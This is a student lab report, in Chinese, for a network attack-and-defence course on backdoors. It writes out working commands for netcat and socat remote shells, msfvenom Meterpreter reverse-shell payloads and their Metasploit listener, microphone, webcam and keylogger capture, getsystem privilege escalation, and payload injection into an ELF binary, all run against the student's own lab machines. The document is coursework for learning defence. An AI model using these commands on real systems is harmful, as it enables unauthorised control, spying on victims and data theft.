20232320 2025-2026-1 《網絡與系統攻防技術》實驗二實驗報告
1.實驗內容
關于后門
什么是后門
后門是隱藏在系統中的秘密通道,讓攻擊者能夠繞過正常安全控制,隨時訪問和控制目標系統。
后門如何實現
·生成惡意程序(如MSF meterpreter)
·通過計劃任務、系統服務、啟動項實現持久化
·利用漏洞或社會工程學植入目標系統
后門攻擊過程
·攻擊者監聽特定端口
·受害者運行后門程序
·建立遠程連接獲取系統控制權
·執行竊取數據、監控、提權等操作
后門本質:秘密通道 + 持久化訪問 = 長期控制系統
什么是免殺技術
免殺技術是指使惡意軟件(如后門、病毒)逃避殺毒軟件檢測的技術。
其核心原理是偽裝(讓惡意代碼看起來像正常程序)、變形(改變代碼特征,避免特征碼匹配)和加密(隱藏惡意行為,運行時解密)
2.實驗過程
回答問題
(1)例舉你能想到的一個后門進入到你系統中的可能方式?
我認為最常見的是社會工程學攻擊,比如說你收到一封偽裝成“公司年終獎金通知”的郵件,發件人看起來是上級或HR。郵件中包含一個附件,你打開附件,文件提示“需要啟用xxx才能正常查看內容”。你點擊“啟用xxx”,內嵌的代碼便悄悄在后臺從遠程服務器下載并執行后門程序。
(2)例舉你知道的后門如何啟動起來(win及linux)的方式?
win
·設定在特定時間、用戶登錄時或系統啟動時觸發
·后門路徑寫入 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 等鍵值
·替換系統程序調用的合法DLL,當該程序運行時,惡意DLL被加載
linux
·通過crontab -e添加定時任務
·創建一個.service文件,配置為系統服務
·例如替換 ls、ps 等常用命令,當管理員使用這些命令時觸發后門
(3)Meterpreter有哪些給你映像深刻的功能?
·可以從一個進程瞬間遷移注入到另一個穩定系統進程
·完全運行在內存中,不向硬盤寫入文件,繞過了許多基于文件掃描的殺毒軟件
·Meterpreter的通信默認是加密的,網絡入侵檢測系統難以發現其惡意流量
(4)如何發現自己有系統有沒有被安裝后門?
·查看異常的外連IP和端口,特別是監聽狀態和已建立的連接到未知地址的連接
·分析安全日志
·性能監控
·對比系統關鍵目錄的文件哈希值與干凈版本是否一致,以發現被替換的系統文件
進行實驗
(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
<1>主機和虛擬機相互ping通
本機:172.16.177.230
虛擬機:192.168.190.129


<2>netcat獲取主機操作shell
本機命令行輸入ncat.exe -l -p 8888

虛擬機進入root模式并輸入nc 172.16.177.230(本機地址) -e /bin/sh

回到本機,輸入ls

其中解決了GBK和utf-8編碼問題

可以顯示虛擬機目錄
<3>利用cron創建定時任務
創建每五分鐘運行一次的寫任務

在虛擬機中成功運行

(2)使用socat獲取主機操作Shell, 任務計劃啟動
<1>相互ping通
本機:192.168.5.7
虛擬機:192.168.190.129


<2>socat連接本機
本機進入socat文件夾并輸入.\socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr

虛擬機終端輸入socat - tcp:192.168.5.7:8888

提前準備好一個任務,虛擬機輸入運行命令,這里我準備的任務是在本機建立一個txt文件,里面的內容是i am 20232320


運行成功
(3)使用MSF meterpreter(或其他軟件)生成可執行文件(后門),利用ncat或socat傳送到主機并運行獲取主機Shell
<1>生成可執行文件
本機:172.16.219.120
虛擬機:192.168.190.129
虛擬機中輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320backdoor.exe

<2>利用netcat傳送到主機
本機終端中輸入ncat.exe -lv 8888 > "D:\Desktop\20232320backdoor.exe"傳送到本機

可以看到20232320backdoor.exe已經存在于本機

<3>虛擬機開啟監聽
虛擬機輸入msfconsole后依次進行配置,配置如下:
use exploit/multi/handler(使用監聽模塊,設置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后門程序時相同的payload)
set LHOST 192.168.190.129 (攻擊機的IP地址,和生成后門程序時指定的IP相同)
set LPORT 8888(監聽的端口)

然后開始建立連接

此時在本機上運行20232320backdoor.exe
回到虛擬機已獲得本機shell

(4)使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容的后門,并嘗試提權
<1>獲取目標主機音頻、攝像頭、擊鍵記錄等內容
保持上一步操作獲得的shell,分別輸入以下命令
音頻record_mic
攝像頭webcam_snap
鍵入內容
keyscan_start、keyscan_dump



<2>提權
查看當前用戶getuid
輸入提權指令getsystem

(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
<1>生成新的shellcode
msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=192.168.190.129 LPORT=8888 -x "/home/kali/桌面/pwn20232320"-f elf > "/home/kali/桌面/pwn2_5_20232320"

賦予權限chmod a+x "/home/kali桌面/pwn2_5_20232320"

<2>再次監聽
和之前相同配置,但是注意把Windows換成linux
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.190.129
set LPORT 8888
exploit
監聽并運行pwn2_5_20232320

連接成功,獲取shell

3.問題及解決方案
-問題一:

-問題一解決:未綁定端口

-問題二:查看程序說成功運行但是未在對應目錄下找到創建的文件


-問題二解決:問題中文路徑支持不好,改到了使用用戶桌面路徑

-問題三:Meterpreter會話建立了但是立即斷開了,顯示reason:died

-問題三解決:Kali Linux 系統中安裝的 Ruby 版本(Ruby 3.1)與 Metasploit 框架當前版本所依賴的 Ruby 版本不兼容
依據畢悠塵同學的思路,更新 Metasploit 框架及其所有依賴項,確保它們與當前系統的 Ruby 版本兼容
在虛擬機中輸入下面兩條指令:
sudo apt update
sudo apt install metasploit-framework
前往微軟官方下載頁面:Microsoft Visual C++ Redistributable Latest Supported Downloads
下載 vc_redist.x86.exe(32位版本),msfvenom生成的后門是32位的,所以需要安裝32位的組件包。
這時再次進行相同步驟的實驗,可以發現實驗完成。
-問題四:生成新的shellcode時找不到文件

-問題四解決:Kali的中文"桌面"和英文"Desktop"是兩個不同的目錄,會導致路徑問題
切到中文桌面路徑


4.學習感悟及思考
在本次實驗中我首先學習了netcat和socat,也掌握了cron的基本概念和用法,在利用后門獲取不管是本機還是虛擬機的shell權限中,我對后門這種“隱秘通道”的理解加深了,我認為它并不是一個實質性的攻擊程序,而是利用了系統本身的信任機制巧妙奪取合法權限。
通過自己切身操作成功獲取一個個Shell,理解攻擊的原理才能知道應該在何處布防,我開始思考在平時日常生活中對于后門攻擊的防范,后門一旦布下對于被攻擊的主機來說就再無隱私可言,所以學習網絡攻防不應只將網絡安全視為一道靜態的防火墻,而是一場動態的、在細節中決出勝負的博弈,不斷提高自身素養才能在這場斗爭中掌握主動權。
參考資料
https://blog.csdn.net/2301_79518550/article/details/149029359
https://blog.csdn.net/weixin_54430466/article/details/121678118

浙公網安備 33010602011771號